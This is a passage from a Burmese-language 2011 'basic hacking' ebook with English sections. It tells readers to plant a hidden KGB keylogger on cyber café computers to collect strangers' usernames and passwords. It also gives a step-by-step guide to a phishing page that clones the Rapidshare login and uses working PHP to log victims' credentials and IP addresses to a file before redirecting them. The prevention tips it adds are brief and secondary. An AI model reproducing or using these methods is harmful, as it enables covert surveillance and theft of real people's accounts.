အဲလိုေလးမွတ္ထားခံလိုက္ရျပီဆိုရင္ေတာ့ သင့္ရဲ့ ကိုယ္ေရးကိုယ္တာေတြ password ေတြခိုးခံရဖို႔က
၇၅%ရွိပါတယ္။က်န္တဲ့ ၂၅%ကေတာ့ လုပ္တဲ့သူရဲ့စိတ္ဓာတ္ေပၚမွာမူတည္ပါတယ္။
အဲဒီ့ Key-logging ကိုဘယ္လိုလုပ္သလဲ။ဟုတ္ျပီေျပာပါမယ္။
Software ကိုသံုးျပီးလုပ္ပါတယ္။ဘာ software လဲ။keylogger software လို႔ေခၚပါတယ္။
Keylogger ဆိုတာ ကို hacking ေလာကထဲစတင္၀င္ေရာက္လာတဲ့ လူတိုင္းၾကားဖူးမွာပါ။
မိမိkeyboard ကရိုက္သမွ်ကုိမွတ္ထားျပီးေတာ့ software အသံုးျပဳသူက ျပန္ၾကည့္လို႔ရပါတယ္။
ကၽြန္ေတာ့မွာရွိတဲ့ keylogger လင့္ေလးတင္ေပးပါမယ္။
KGB Keylogger
KGB keylogger ျဖစ္ပါတယ္။နာမည္ကေတာ့ ေျပာထားတဲ့အတိုင္း KGB keylogger ပါပဲ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 31
Keylogger(old ver) ေတာ္ေတာ္မ်ားမ်ားဟာ…keyboard ကရိုက္သမွ်ကိုသာမွတ္တမ္းတင္ၾကပါတယ္။
ဒါေၾကာင့္ username နဲ႔ password ေတြ အကုန္သိၾကပါတယ္။
တကယ္လို႔ စက္တစ္လံုးမွာ keylogger သြင္းထားလား မသြင္းထားဘူးလားသိခ်င္ရင္
Ctrl + alt + del နဲ႔ task manager ကိုေခၚပါ။
Process tab ေအာက္ကိုသြားပါ။ msdt.exe ဆိုတဲ့ process ရွိရင္ သြင္းထားပါတယ္။မရွိရင္ေတာ့ မသြင္းဘူး။
ဒါေၾကာင့္ အဲဒီ့ process ကို end process ေပးလိုက္ပါ။
ဒါဆိုရင္စိတ္ခ်လက္ခ်သံုးလို႔ရပါျပီ။ဒါကေတာ့ တျခားkeylogger ေတြအတြက္ေျပာတာပါ။
ကၽြန္ေတာ္ေပးထားတဲ့ keylogger ေတာ့ အဲလိုမဟုတ္ပါဘူး။ဒါဆိုဘယ္လိုလဲ။ေျပာပါမယ္။
KGB ဟာ keyboard ကရိုက္သမွ်ကိုသာမွတ္ရံုတင္မကပဲ screenshot ေတြကိုပါမွတ္ပါတယ္။
ဒါေၾကာင့္ user ေတြ ဘာကိုၾကည့္ခဲ့တယ္ဆိုတာကိုသိနိင္ပါတယ္။
ျပီးေတာ့ user ေတြၾကည့္ခဲ့တဲ့ website ေတြကိုလဲမွတ္ပါတယ္။သံုးခဲ့တဲ့ program ေတြကိုလဲမွတ္ပါတယ္။
တျခားkeylogger ေတြလို task manager ေခၚၾကည့္ရင္ မေပၚပါဘူး။(ဒါကေတာ့ install လုပ္တဲ့အခါမွာ
မေပၚေအာင္လုပ္ရတာပါ)
ျပီးေတာ့တျခားkeylogger ေတြလိုလဲ magic key ဆိုတဲ့ ျပန္ေဖာ္key ကိုမွတ္စရာမလိုပါဘူး။
Run box ကေန runkgb လို႔ရိုက္လိုက္ရင္ တက္လာပါတယ္။
ျပီးေတာ့ kgb ကို တျခားသူေတြသံုးလို႔မရေအာင္ password ခံထားလို႔ရပါတယ္။
ကၽြန္ေတာ္ဘာေၾကာင့္ keylogger အေၾကာင္းေျပာရသလဲဆိုေတာ့…hacker ေတြဟာ သူတို႔ေတြ ….
အစဥ္ေျပေစဖို႔အတြက္ keylogger ေတြကိုဖန္တီးခဲ့လို႔ပဲျဖစ္ပါတယ္။
ဒါေၾကာင့္ေျပာျပတာပါ။ျပီးေတာ့ ဘယ္ keylogger ကိုသံုးရမလဲမသိရင္ KGB keylogger ကိုသံုးဖို႔ …
ေျပာခ်င္ပါတယ္။
ဒါေၾကာင့္ ကၽြန္ေတာ့အေနနဲ႔ install လုပ္ပံုလုပ္နည္းကို ေျပာျပသြားပါမယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 32
ျပီးရင္သံုးပံုသံုးနည္းပါေျပာပါမယ္။
Installing KGB Keylogger
မသြင္းရေသးခင္ နဲနဲေလာက္ေျပာပါရေစ။ကၽြန္ေတာ့စက္မွာ အရင္တုန္းက စမ္းသပ္တဲ့အေနနဲ႔ KGB ကိုသြင္းဖူး
ထားတဲ့အတြက္ install လုပ္တဲ့ေနရာမွာ စာဖတ္သူနဲ႔ တူခ်င္မွတူမွာပါ။
ပထမဆံုး install လုပ္တာဆိုရင္ေတာ့…ကြဲပါတယ္။ဒါေလးေတာ့ သီးခံေပးပါေနာ္။
ပထမဆံုး ရလာတဲ့ rar file ကိုျဖည္ပါ။setup file ကို run ပါ။
OK ႏွိပ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 33
next ႏွိပ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 34
ပံုမွာျပတဲ့အတိုင္းေရြးေပးပါ။next ကိုႏွိပ္ပါ။
I agree ကိုႏွိပ္ပါ။
next ႏွိပ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 35
Browse နဲ႔လမ္းေၾကာင္းေရြးပါ။next ကိုႏွိပ္ပါ။ျပီးရင္ ကၽြန္ေတာ္တစ္ဆင့္ေက်ာ္လုိက္ပါမယ္။
install ႏွိပ္ပါ
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 36
finish ကိုႏွိပ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 37
Register လုပ္ပါ။
ေပးထားတဲ့ အထဲက serial ေတြကိုျဖည့္လုိက္ပါ။OK ႏွိပ္ပါ။
ဒါဆိုရင္ register လုပ္တာေရာ install လုပ္တာပါ ျပီးဆံုးပါျပီ။
Using KGB keylogger
KGB ကိုဘယ္ေနရာမွာ ကၽြန္ေတာ္တို႔ အသံုးမ်ားသလဲဆိုေတာ့…ကၽြန္ေတာ္သိသေလာက္ေတာ့
၂ေနရာဗ်။ ပထမေနရာက Cyber café ေတြမွာ ကၽြန္ေတာ္တို႔လို လက္ေဆာ့ကလိတတ္တဲ့လူေတြက သံုးတယ္
ေနာက္တစ္ေနရာက မိဘေတြသံုးတယ္။ကုိယ့္သားသမီးေတြ ဘယ္ website ေတြကိုၾကည့္တယ္။
ဘာလုပ္တယ္ဆိုတာကို သိနိုင္ေအာင္ သြင္းထားတတ္ပါတယ္။
ထားပါေတာ့။ဒါက သံုးတဲ့ေနရာကိုေျပာတာပါ။
ကၽြန္ေတာ္တို႔ဘယ္လို သံုးမလဲ။ ဟုတ္ျပီ ေျပာမယ္။
အရင္ဆံုး cyber café တစ္ခုခုမွာ keylogger ကိုသြင္းလိုက္ပါ။
ျပီးရင္ ဒီတိုင္း ပစ္ထားလိုက္ပါ။hide လုပ္ျပီးေတာ့ေပါ့ဗ်ာ။
ေနာက္ ကုိယ္ အားတဲ့အခ်ိန္မွာ ျပန္ျပီးေတာ့ keylogger ကိုသြားဖြင့္။ဒါဆိုရင္ keylogger သြင္းထားတဲ့
စက္မွာ ထိုင္သြားတဲ့လူေတြရဲ့ username ေတြ password ေတြရပါမယ္။ဒီေနရာမွာ ျခြင္းခ်က္တစ္ခုရွိပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 38
Defreeze သြင္းထားတဲ့စက္ေတြဆိုရင္မရပါဘူး။ေန႔မကူးခင္ keylogger ကိုျပန္သံုးမွရပါမယ္။
ကၽြန္ေတာ္ကစမ္းေတာ့ျပခ်င္တယ္ဗ်။ဒါေပမယ့္ ကၽြန္ေတာ့အိမ္မွာက အင္တာနက္မခ်ိတ္ထားတဲ့အတြက္
မရွင္းျပနိုင္တာေတာင္းပန္ပါတယ္ခင္ဗ်။
တကယ္လို႔ သင့္အေနနဲ႔ KGB keylogger ကိုမသံုးခ်င္ဘူးဆိုရင္ ေနာက္တစ္မ်ိဳးေျပာင္းသံုးလို႔ရပါတယ္။
http://www.monitoring-spyssoftware.com မွာ Golden eye ဆိုတဲ့ software ကိုdownload
ရယူျပီးသံုးနိုင္ပါတယ္။
^_^
Preventing from Keylogger
ကုိယ္တိုင္လဲ အဲလိုမ်ိဳး Keylogger နဲ႔ျပန္မခံရခ်င္ဘူးဆိုရင္ေတာ့…ရွင္းပါတယ္။Cyber caféေတြမွာမသံုးပါနဲ႔။
တကယ္လို႔ cyber café မွာမသံုးလို႔မျဖစ္ဘူးဆိုရင္…
ပထမဆံုးလုပ္ရမွာက…ကုိယ္သံုးမယ့္ စက္မွာ Defreeze တင္ထားသလားဆိုတာကိုၾကည့္ပါ။
တကယ္လို႔တင္ထားတယ္ဆိုရင္ screen ရဲ့ ညာဘက္ေအာက္ေထာင့္နားေလးမွာ ၀က္ေခါင္းပံုေလးကိုေတြ႔မယ္။
အဲဒါဆိုရင္ အနဲငယ္စိတ္ခ်ရပါျပီ။
ေနာက္တစ္ဆင့္…task manager ကိုေခၚလိုက္ပါ။ctrl + alt +del ကိုႏွိပ္ျပီးေတာ့ေခၚပါ။
Process tab ေအာက္ကိုသြားပါ။msdt.exe ဆိုတဲ့ process ရွိသလားၾကည့္ပါ။မရွိဘူးဆိုရင္…ပိုျပီးေတာ့စိတ္ခ်
ရပါတယ္။လံုး၀ၾကီးေတာ့ စိတ္ခ်ရတယ္ဆိုတာမရွိပါဘူး။ကၽြန္ေတာ္အေပၚကေျပာခဲ့တဲ့ keylogger ဆိုရင္
Task manager ထဲမွာ မေပၚပါဘူး။
ဒီ့ထက္ပိုျပီးစိတ္ခ်ရေအာင္…username ေတြ password ေတြရိုက္တဲ့အခါ backspace ေတြပါေအာင္ရိုက္ပါ။
Keylogger ေတြက backspace ကိုမမွတ္ပါဘူး။ဒါေၾကာင့္အဲဒီ့နည္းနဲ႔ကာကြယ္နိုင္ပါတယ္။
လံုး၀ၾကီး စိတ္ခ်ရမယ္လို႔ေတာ့ ကၽြန္ေတာ္အာမဘေႏၱမခံနိုင္ပါဘူးခင္ဗ်ာ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 39
Chapter 8
Phishing
How to make a basic Phishing page
How to Make A Basic Phisher here we share how to make basic phishing for beginner , that can
trick other people to stole some information and data
1. we use rapidshare.com as our page example
2. Go to www.rapidshare.com then jump to the premium account log-in screen at the url :
https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi
3. click right click on page and view source
4. select and copy all, put in the notepad and save as .txt
5. there is so money random html code but we interest these two method and action.
6. find the words "method" (without quotes) in document
7. i think the result will be same like that : method="post"
8. Change the word post to the word get.
9. then , find again the word named "action"
10. i hope u will see like this action="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi"
11. replace next.php instead of url , it will be look like action="next.php"
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 40
12. Save this file as index.html and make a new document with notepad for next.php , (the
page that they are directed to after you have gotten their log-in information)
13. Copy and paste this code into the notepad document: Code: CODE $datum = date('d-m-Y /
H:i:s'); $ip = $_SERVER['REMOTE_ADDR']; header("Location: Put your REDIRECT URL Here");
$handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle,
$variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); }
fwrite($handle, "IP: $ip | Date: $datum (Date=0 GTM)\r\n"); fwrite($handle, "\r\n");
fclose($handle); setcookie ("user", "empty", time()+3600); exit; ?>
14. at "Location: Put your REDIRECT URL Here" u can put ur url here, in this case , i use
Code: header("Location: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi"); then save as
next.php
15. than open notepad again and make a document name password.txt .because we use the
name password.txt Code: $handle = fopen("password.txt", "a");
as for me ,i chose password.txt as my file where I want the passes to be stored, but u can use
the name as u like . 16. Go to free host that support php , and upload these 3 files , make use
delete uploaded by webhost ,such as index.html 17. go and check ur url and test as user and
password i hope u be sucess .
ကၽြန္ေတာ့အေနနဲ႔ Phishing အေၾကာင္းကို ရွင္းျပဖို႔သိပ္ျပီးအားမသန္တဲ့အတြက္ နားလည္ေပးေစခ်င္ပါတယ္။
ဒါေလးကေတာ့ www.mmso.org မွာေတြ႔တာေလးပါ။
ကိုယ္ပိုင္ Phishing လုပ္နည္းျဖစ္ပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 41
Preventing Phishing
Phishing အေၾကာင္းကိုသိပ္မသိေပမယ့္ ဒီေကာင့္ကိုဘယ္လိုေရွာင္ရသလဲဆိုတာကိုေတာ့သိပါတယ္။
ေတြ႔တဲ့ Link တိုင္းကို၀င္လို႔ရပါတယ္။ဒါေပမယ့္ အဲဒီ့ link ေပၚမွာ ကိုယ့္ gmail acoount ရဲ့ password ေတြ
Username ေတြကိုေတာင္းခံလာျပီဆိုရင္ ျပန္ထြက္လုိက္ပါ။
ျပီးေတာ့ gmail ကို၀င္မယ္ဆိုရင္ link ကိုေသခ်ာၾကည့္ပါ။
http://www.google.com လို မ်ိဳး အမွန္အကန္ျဖစ္နိုင္တဲ့ link ကိုၾကည့္ျပီး၀င္ပါ။
ဒါဆိုရင္ တတ္နိုင္သေလာက္ေရွာင္နိုင္ပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 42
BYE ### BYE ###
ကဲ…ကၽြန္ေတာ့ရဲ့ အေျခခံက်တဲ့ hacking စာအုပ္ေလးကေတာ့ ဒီေနရာေလးမွာတစ္ခန္းရပ္ပါရေစခင္ဗ်ာ။
Hacker ျဖစ္ခ်င္တဲ့သူတစ္ေယာက္ကိုအၾကံေပးခ်င္တာကေတာ့…ဒီေလာက္နဲ႔ေက်နပ္မေနပါနဲ႔။
ဆက္ျပီးေတာ့ေလ့လာပါ။နည္းပညာဆိုတာၾကီးက ဘယ္ေတာ့မွ ေလ့လာလို႔ျပီးသြားတယ္ဆိုတာမရွိပါဘူး။
ေလ့လာမယ္ဆိုရင္ေတာ့ website ေလးတစ္ခုကိုရည္ညႊန္းခ်င္ပါတယ္။
ကၽြန္ေတာ္ကိုယ္တိုင္ member အျဖစ္ပါ၀င္ေနတဲ့ website ေလးပါ။
www.myanmarhacking.com လို႔အမည္ရပါတယ္။
သင့္အေနနဲ႔ ဒီစာအုပ္ကုိဖတ္ျပီးသြားျပီဆိုရင္ Hacking အေၾကာင္း Hacker အေၾကာင္းေတြကို…
အနဲငယ္ေလာက္ျဖစ္ျဖစ္နားလည္မွာပါ။
တကယ္လို႔မ်ား ဒီစာအုပ္ကိုဖတ္ျပီးျပီ ဆိုရင္ ကၽြန္ေတာ့ဆီကို mail ပို႔ျပီးေတာ့…
စာအုပ္အေပၚ ေ၀ဖန္ခ်က္ေလး ေရးသားေပးဖို႔ ေတာင္းဆိုလိုပါတယ္……
ဒါမွလဲ ကၽြန္ေတာ့အတြက္ေနာက္ထပ္စာအုပ္ေတြကို ပိုမိုေကာင္းမြန္ေအာင္ ဖန္တီးနိုင္မွာ ျဖစ္ပါတယ္။
ကၽြန္ေတာ့ရဲ့ gmail ကေတာ့ blind.heart7@gmail.com ျဖစ္ပါတယ္။
ေနာက္တစ္ခုေတာင္းဆိုလိုတာက…ဒီစာအုပ္ေလးကို လူေတြသိနိုင္ေစဖို႔ သင္တို႔ရဲ့….
Website,Blog,Forum ေတြမွာ…ေၾကာ္ျငာေပးၾကပါခင္ဗ်။
ကၽြန္ေတာ့အေနနဲ႔ေနာက္ပိုင္း ဒီထက့္ေကာင္းတဲ့စာအုပ္ေတြကို ေရးသားမယ္။မေရးနိုင္ရင္…အဂၤလိပ္
စာအုပ္ေတြကို ဘာသာျပန္ေပးပါမယ္ခင္ဗ်။’’’’’’’’’’’’’’’’’’’’’’’Be’’’’’’’’’Enjoy’’’’’’’’’’’’’’’’’’’’
### Kglay ###blind.heart7@gmail.com ###
www.myanmarhacking.com